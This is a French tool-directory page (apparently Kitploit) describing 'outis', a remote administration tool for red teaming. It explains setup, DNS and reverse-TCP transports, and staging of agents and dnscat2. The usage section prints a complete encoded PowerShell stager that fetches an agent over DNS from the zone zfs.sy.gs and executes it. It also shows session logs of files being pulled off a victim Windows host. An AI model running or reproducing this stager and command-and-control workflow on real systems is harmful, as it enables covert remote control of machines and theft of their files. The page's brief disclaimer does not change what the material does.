Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
outis — outis est un outil d'administration à distance (RAT) personnalisé ou quelque chose comme ça. Il a été conçu pour prendre en charge diverses méthodes de transport (comme DNS) et plateformes (comme Powershell). | Kitploit
Outils/GitHubGitHub/syss-research/outis
Génération de PayloadsPost-ExploitationCommandement et ContrôleRed TeamingOutil d'Accès à DistanceAnalyse DNS
GitHubsyss-research/outis

outis

outis est un outil d'administration à distance (RAT) personnalisé ou quelque chose comme ça. Il a été conçu pour prendre en charge diverses méthodes de transport (comme DNS) et plateformes (comme Powershell).

Voir le dépôt
12645il y a 8 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

outis

outis est un outil d'administration à distance (RAT) personnalisé, ou quelque chose du genre. Pensez à Meterpreter ou Empire-Agent. Cependant, l'objectif de cet outil n'est ni une boîte à outils d'exploitation (il n'y a pas d'exploits) ni une gestion persistante des cibles. L'objectif est de communiquer entre le serveur et le système cible, de transférer des fichiers, de partager des sockets, de lancer des shells, etc., en utilisant diverses méthodes et plateformes.

À propos du nom

Le cyclope Polyphème dans l'Odyssée d'Homère avait quelques problèmes de résolution de noms. Lorsqu'il a demandé le nom d'Ulysse, le hacker lui a dit qu'il s'appelait « Outis », ce qui signifie « Personne » en grec ancien. Ainsi, lorsque Polyphème a crié plus tard que Personne était sur le point de le tuer, étrangement, aucune aide n'est arrivée.

Merci à Marcel de s'être souvenu de ce merveilleux extrait de conte classique.

Dépendances pour le Handler

Les utilisateurs d'Archlinux peuvent installer les paquets suivants :

  • python3 # inclut cmd, tempfile, ...
  • python-progressbar2
  • python-dnspython
  • python-crypto
  • python-pyopenssl
  • et peut-être plus...

Dans d'autres distributions, les noms peuvent différer ; par exemple, il existe un module nommé crypto et un module nommé pycrypto. C'est ce dernier dont nous avons besoin.

De plus, les versions plus anciennes peuvent poser problème :

  • pyopenssl doit être en version 16.1.0 ou plus récente, vérifiez comme suit :
root@kitploit:~
   $ python3 -c 'import OpenSSL; print(OpenSSL.version.__version__)'

Vous pouvez configurer un environnement virtuel python assez facilement :

root@kitploit:~
$ virtualenv outis-venv
$ source ./outis-venv/bin/activate
(outis-venv) $ pip install progressbar2 dnspython pycrypto pyopenssl

Cela donne la liste de paquets suivante, qui semble fonctionner pour moi :

root@kitploit:~
$ pip freeze
appdirs==1.4.3
asn1crypto==0.22.0
cffi==1.10.0
cryptography==1.8.1
dnspython==1.15.0
idna==2.5
packaging==16.8
progressbar2==3.18.1
pycparser==2.17
pycrypto==2.6.1
pyOpenSSL==16.2.0
pyparsing==2.2.0
python-utils==2.1.0
six==1.10.0

Installation

Clonez ce dépôt git avec le drapeau récursif pour également cloner ses sous-modules dans le dossier thirdpartytools :

root@kitploit:~
git clone --recursive ...

Le handler s'exécute sur Python 3. Installez ses dépendances et lancez-le. Il générera pour vous les stagers, les agents et tout le reste.

Pour lier des ports bas sans nécessiter de privilèges root, envisagez d'utiliser un wrapper de capacités.

Termes

  • agent : logiciel qui s'exécute sur le système victime
  • handler : logiciel qui analyse vos commandes et dirige les agents (il s'exécute généralement sur votre serveur)
  • stager : script court qui télécharge l'agent (en utilisant le module de transport) et l'exécute
  • transport : canal de communication entre le stager/agent et le handler, par ex. ReverseTCP
  • plateforme : architecture de la victime à utiliser pour les scripts stager/agent, par ex. PowerShell

Plateformes actuellement prises en charge

  • PowerShell (partiel)

Transports actuellement pris en charge

  • Reverse TCP
  • DNS (types TXT ou A pour le staging, et types TXT, CNAME, MX, AAAA ou A pour la connexion de l'agent)

Cryptographie actuellement prise en charge

  • Les stages de l'agent peuvent être encodés (pour l'obscurcissement, pas pour la sécurité) en utilisant XOR cyclique
  • Les stages de l'agent peuvent être authentifiés en utilisant des signatures RSA et des certificats épinglés
  • Les connexions de transport peuvent être chiffrées / authentifiées en utilisant TLS et des certificats épinglés

Commandes et contrôles actuellement pris en charge

  • requêtes ping pour tester la connexion (partiel)
  • format de message texte (partiel)
  • téléchargement et envoi de fichiers

Extras actuellement pris en charge

  • Lors de l'utilisation du transport DNS avec stager et powershell, vous pouvez stagier l'outil dnscat2 / dnscat2-powershell depuis le répertoire thirdpartytools au lieu de l'agent outis par défaut. Définissez l'option de plateforme AGENTTYPE sur DNSCAT2 (cela prendra un certain temps, mais utilise uniquement DNS pour le staging) ou DNSCAT2DOWNLOADER (essaie de télécharger en utilisant HTTPS).

Exemples d'utilisation

Le téléchargement d'un fichier en utilisant un transport DNS stagé avec la plateforme POWERSHELL pourrait ressembler à ceci :

root@kitploit:~
$ outis
outis> set TRANSPORT DNS
outis> set ZONE zfs.sy.gs
outis> set AGENTDEBUG TRUE
outis> info
[+] Options for the Handler:
Name               Value       Required  Description                                                      
-----------------  ----------  --------  -----------------------------------------------------------------
TRANSPORT          DNS         True      Communication way between agent and handler (Options: REVERSETCP,
                                          DNS)
CHANNELENCRYPTION  TLS         True      Encryption Protocol in the transport (Options: NONE, TLS)
PLATFORM           POWERSHELL  True      Platform of agent code (Options: POWERSHELL)
PROGRESSBAR        TRUE        True      Display a progressbar for uploading / downloading? (only if not 
                                         debugging the relevant module) (Options: TRUE, FALSE)

[+] Options for the TRANSPORT module DNS:
Name       Value        Required  Description                                                             
---------  -----------  --------  ------------------------------------------------------------------------
ZONE       zfs.sy.gs    True      DNS Zone for handling requests
LHOST      0.0.0.0      True      Interface IP to listen on
LPORT      53           True      UDP-Port to listen on for DNS server
DNSTYPE    TXT          True      DNS type to use for the connection (stager only, the agent will 
                                  enumerate all supported types on its own) (Options: TXT, A)
DNSSERVER               False     IP address of DNS server to connect for all queries

[+] Options for the PLATFORM module POWERSHELL:
Name                  Value                       Required  Description                                   
--------------------  --------------------------  --------  ----------------------------------------------
STAGED                TRUE                        True      Is the communication setup staged or not? 
                                                            (Options: TRUE, FALSE)
STAGEENCODING         TRUE                        True      Should we send the staged agent in an encoded 
                                                            form (obscurity, not for security!) (Options: 
                                                            TRUE, FALSE)
STAGEAUTHENTICATION   TRUE                        True      Should the stager verify the agent code 
                                                            before executing (RSA signature verification 
                                                            with certificate pinning) (Options: TRUE, 
                                                            FALSE)
STAGECERTIFICATEFILE  $TOOLPATH/data/outis.pem    False     File path of a PEM with both RSA key and 
                                                            certificate to sign and verify staged agent 
                                                            with (you can generate a selfsigned cert by 
                                                            using the script gencert.sh initially)
AGENTTYPE             DEFAULT                     True      Defines which agent should be used (the 
                                                            default outis agent for this plattform, or 
                                                            some third party software we support) 
                                                            (Options: DEFAULT, DNSCAT2, DNSCAT2DOWNLOADER)
TIMEOUT               9                           True      Number of seconds to wait for each request 
                                                            (currently only supported by DNS stagers)
RETRIES               2                           True      Retry each request for this number of times 
                                                            (currently only supported by DNS stagers)
AGENTDEBUG            TRUE                        True      Should the agent print and log debug messages 
                                                            (Options: TRUE, FALSE)
outis> generatestager
[+] Use the following stager code:
powershell.exe -Enc JAByAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAYQA9ACIAIgA7ACQAdAA9ADAAOwBmAG8AcgAoACQAaQA9ADAAOwA7
  ACQAaQArACsAKQB7ACQAYwA9ACgAWwBzAHQAcgBpAG4AZwBdACgASQBFAFgAIAAiAG4AcwBsAG8AbwBrAHUAcAAgAC0AdAB5AHAAZQA9AFQAWA
  BUACAALQB0AGkAbQBlAG8AdQB0AD0AOQAgAHMAJAAoACQAaQApAHIAJAAoACQAcgApAC4AegBmAHMALgBzAHkALgBnAHMALgAgACIAKQApAC4A
  UwBwAGwAaQB0ACgAJwAiACcAKQBbADEAXQA7AGkAZgAoACEAJABjACkAewBpAGYAKAAkAHQAKwArAC0AbAB0ADIAKQB7ACQAaQAtAC0AOwBjAG
  8AbgB0AGkAbgB1AGUAOwB9AGIAcgBlAGEAawA7AH0AJAB0AD0AMAA7ACQAYQArAD0AJABjADsAfQAkAGEAPQBbAEMAbwBuAHYAZQByAHQAXQA6
  ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYQApADsAJABiAD0AJABhAC4ATABlAG4AZwB0AGgAOwAkAGYAcAA9ACIAWA
  B4AEkAMgArAGUAQgBoAGUAUgBMAFMATQBuAHIAVQBNAFgAbgBnAHIARABTAGQATwAyAGQAOAAwAGMAZAB2AHcAcwBKAGMAYwBGAEIAbgAvAGYA
  LwB3AEoATwBpAEIAVAA4AGIATwA2AHAAZgBXAFgAdwBwAEUATwBQAFAAUgBsAFAAdgBnAE8AbgBlAGcAYwBpAE8AYgBPAGEAZABOAFAAVQBxAH
  AAZgBRAD0APQAiADsAJABpAD0AMAA7ACQAYQA9ACQAYQB8ACUAewAkAF8ALQBiAFgAbwByACQAZgBwAFsAJABpACsAKwAlACQAZgBwAC4ATABl
  AG4AZwB0AGgAXQB9ADsAJABwAGsAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAAwACwANwA1ADUAKQA7ACQAcw
  BpAGcAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAA3ADUANQAsADYAOAA0ACkAOwAkAHMAPQBOAGUAdwAtAE8A
  YgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAAxADQAMwA5ACwAKAAkAGIALQAxADQAMwA5ACkAKQA7ACQAcwBoAGEAPQBOAGUAdwAtAE
  8AYgBqAGUAYwB0ACAAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQA1ADEAMgBNAGEAbgBhAGcAZQBk
  ADsAaQBmACgAQAAoAEMAbwBtAHAAYQByAGUALQBPAGIAagBlAGMAdAAgACQAcwBoAGEALgBDAG8AbQBwAHUAdABlAEgAYQBzAGgAKAAkAHAAaw
  AuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAKQAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIA
  aQBuAGcAKAAkAGYAcAApACkAIAAtAFMAeQBuAGMAVwBpAG4AZABvAHcAIAAwACkALgBMAGUAbgBnAHQAaAAgAC0AbgBlACAAMAApAHsAIgBFAF
  IAUgBPAFIAMQAiADsARQB4AGkAdAAoADEAKQB9ADsAJAB4AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5
  AHAAdABvAGcAcgBhAHAAaAB5AC4AUgBTAEEAQwByAHkAcAB0AG8AUwBlAHIAdgBpAGMAZQBQAHIAbwB2AGkAZABlAHIAOwAkAHgALgBGAHIAbw
  BtAFgAbQBsAFMAdAByAGkAbgBnACgAJABwAGsAKQA7AGkAZgAoAC0ATgBvAHQAIAAkAHgALgBWAGUAcgBpAGYAeQBEAGEAdABhACgAJABzAC4A
  VABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAsACIAUwBIAEEANQAxADIAIgAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAG
  UANgA0AFMAdAByAGkAbgBnACgAJABzAGkAZwApACkAKQB7ACIARQBSAFIATwBSADIAIgA7AEUAeABpAHQAKAAyACkAfQA7ACIARwBPAEEARwBF
  AE4AVAAiADsASQBFAFgAIAAkAHMAOwA=
outis> run
[+] DNS listening on 0.0.0.0:53
[+] Sending staged agent (34332 bytes)...
100% (184 of 184) |########################################################| Elapsed Time: 0:00:16 Time: 0:00:16
[+] Staging done
[+] Waiting for connection and TLS handshake...
[+] Initial connection with new agent started
[+] Upgrade to TLS done
outis session> [+] AGENT: Hello from Agent

outis session> download C:\testfile.txt /tmp/out.txt
[+] initiating download of remote file C:\testfile.txt to local file /tmp/out.txt
[+] agent reports a size of 3295 bytes for channel 1
100% (3295 of 3295) |######################################################| Elapsed Time: 0:00:00 Time: 0:00:00
[+] wrote 3295 bytes to file /tmp/out.txt
outis session> exit
Do you really want to exit the session and close the connection [y/N]? y
outis> exit

Ou peut-être voulons-nous utiliser dnscat2 pour la vraie affaire et simplement utiliser outis pour le stagier :

root@kitploit:~
$ outis
outis> set TRANSPORT DNS
outis> set AGENTTYPE DNSCAT2
outis> set ZONE zfs.sy.gs
outis> run
[+] DNS listening on 0.0.0.0:53
[+] Sending staged agent (406569 bytes)...
100% (2185 of 2185) |#######################################################| Elapsed Time: 0:01:17 Time: 0:01:17
[+] Staging done
[+] Starting dnscat2 to handle the real connection

New window created: 0
New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted and authenticated
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = zfs.sy.gs]...

Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):

  ./dnscat --secret=muzynL9ofNW+vymbGMLmi1W1QOT7jEJNYcCRZ1wy5fzTf1Y3epy1RuO7BcHJcIsBvGsZW9NvmQBUSVmUXMCaTg== zfs.sy.gs

To talk directly to the server without a domain name, run:

  ./dnscat --dns server=x.x.x.x,port=53 --secret=muzynL9ofNW+vymbGMLmi1W1QOT7jEJNYcCRZ1wy5fzTf1Y3epy1RuO7BcHJcIsBvGsZW9NvmQBUSVmUXMCaTg==

Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.

dnscat2> New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)

dnscat2> sessions
0 :: main [active]
  crypto-debug :: Debug window for crypto stuff [*]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains = zfs.sy.gs [*]
  1 :: command (feynman-win7) [encrypted and verified] [*]
  
dnscat2> session -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.

command (feynman-win7) 1> download c:/testfile.txt /tmp/out.txt
Attempting to download c:/testfile.txt to /tmp/out.txt
Wrote 3295 bytes from c:/testfile.txt to /tmp/out.txt!

command (feynman-win7) 1> exit
Input thread is over

Inspirations

Ce projet a été inspiré par (et a honteusement volé une partie de son code) :

  • Empire :

    • https://github.com/adaptivethreat/Empire/blob/master/lib/common/stagers.py — generate_launcher utilise un stager HTTP(S)
    • https://github.com/adaptivethreat/Empire/tree/master/data/agent — stager (deuxième étape après le launcher initial) et agent (troisième étape)
    • https://github.com/EmpireProject/Empire/blob/master/lib/common/helpers.py — génération et suppression de scripts powershell
  • Metasploit :

    • https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/cmdstager.rb — CmdStager pour bourne, ...
  • ReflectiveDLLInjection :

    • https://github.com/stephenfewer/ReflectiveDLLInjection
  • p0wnedShell :

    • https://github.com/Cn33liz/p0wnedShell — quelques idées pour l'évasion AMSI pour une utilisation future
  • dnscat2 :

    • https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md — idées sur la conception de protocole via DNS
    • https://github.com/lukebaggett/dnscat2-powershell/blob/master/dnscat2.ps1 — version powershell de l'agent dnscat2
  • dnsftp

    • https://github.com/breenmachine/dnsftp — courtes parties de script pour les stagers via DNS

Avertissement

Utilisez à vos propres risques. Ne pas utiliser sans le consentement complet de toutes les personnes impliquées. Uniquement à des fins éducatives.

Télécharger l’outil